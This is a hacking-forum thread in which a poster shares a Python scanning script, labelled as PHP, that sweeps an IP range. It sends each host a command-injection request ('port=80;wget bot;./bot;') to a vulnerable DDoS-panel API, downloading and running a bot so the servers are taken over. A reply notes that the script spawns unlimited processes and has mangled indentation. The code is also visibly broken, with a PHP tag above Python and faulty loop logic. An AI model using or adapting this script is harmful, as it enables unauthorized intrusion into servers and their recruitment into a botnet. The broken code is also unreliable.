

Forum:[Hack Forums](#)

Thread: [RCE Scanner - Root DDoS Servers](#)

Hopeful Goods - March 2, 2015, 8:31 pm

Not sure if there is any more servers online using this vulnerable API, but scan if you want.

If anything this servers as an example concept.

This is an old script and should be modified for twisted threads and to run through a list of IP addresses with port 80 open, but still works as is.

PHP Code

```
<?php
import pycurl
import StringIO
import sys
import time
from multiprocessing import Process
start = int(time.time()) - 1
sent_n = 99
sent_t = 0
def f(ip):
    c = pycurl.Curl()
    b = StringIO.StringIO()
    c.setopt(pycurl.WRITEFUNCTION, b.write)
    c.setopt(pycurl.TIMEOUT, 1)
    c.setopt(pycurl.CONNECTTIMEOUT, 1)
    xml_ip = "http://" + ip +
"/send.php?host=198.50.233.33&port=80;wget bot;./bot;&time=10&method=SSDP"
    print xml_ip
    c.setopt(c.URL, xml_ip)
    try:
        c.perform()
    except Exception:
        gg = 88
        #print "Nope - ",ip
    else:
        print "imgay\n"
nn = 23
for oo in range(94,95):
    for pp in range(1,256):
        for kk in range(1,256):
            if sent_t > sent_n:
                #print sent_t," requests sent at average of", sent_t/(int(time.time()) - start), "per second!"
                sent_n += 100
                pre_ip = "%d.%d.%d.%d" % (nn,oo,pp,kk)
                p = Process(target=f, args=(pre_ip,))
                p.start()
                sent_t = sent_t + 1
```

p.join()

Edited an XMLRPC scanner I had for this. So, don't mind the xmlrpc stuff. haha

#YOLO - March 4, 2015, 10:34 am

Im not the best with python, but wouldnt this just create a fuckton of processes?
as there is no limit or anything on processes

EDIT: and I believe some of the indentations were nedded up because of HF's anti-char spam thing, so indents might be needed.